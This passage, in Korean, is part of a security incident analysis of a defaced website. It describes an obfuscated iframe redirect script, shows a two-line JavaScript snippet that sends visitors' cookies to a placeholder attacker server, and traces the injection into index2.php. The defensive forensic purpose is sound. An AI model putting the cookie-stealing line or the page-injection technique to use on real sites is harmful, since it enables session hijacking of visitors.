  2. 보안담당자는 악성 스크립트로 의심되는 신규 자바스크립트 파일(co2m.js)를 분석한 결과 다른 사이트로 몰래 이동하기 위한 iframe 태그가 포함되어있는 것 확인 (난독화. Unescape(xyz))
  3. 보안담당자는 악성 스크립트로 의심되는 신규 자바스크립트 파일(co4m.js)를 분석한 결과 사용자 쿠키 정보를 탈취해 공격자 웹서버로 전달하는 코드가 포함되어있는 것을 확인 
    var imag = new Image();
    img.src = "http://유포지 주소/info.php?q=" + encodeURIComponent(document.cookie);
  4. 보안담당자는 악성 자바스크립트 파일을 사용하고 있는 페이지를 조사한 결과 기본페이지(index2.php)가 변조되어 스크립트가 삽입된 것을 확인
    • stat index2.php 결과 MAC 타임 중 Modify가 22시 36분 26초경에 마지막으로 수정된 것 확인
  5. 보안담당자는 aaa 사이트가 Drive by Download 공격을 위한 악성코드 경유지/중계지로 사용된 것으로 최종 판단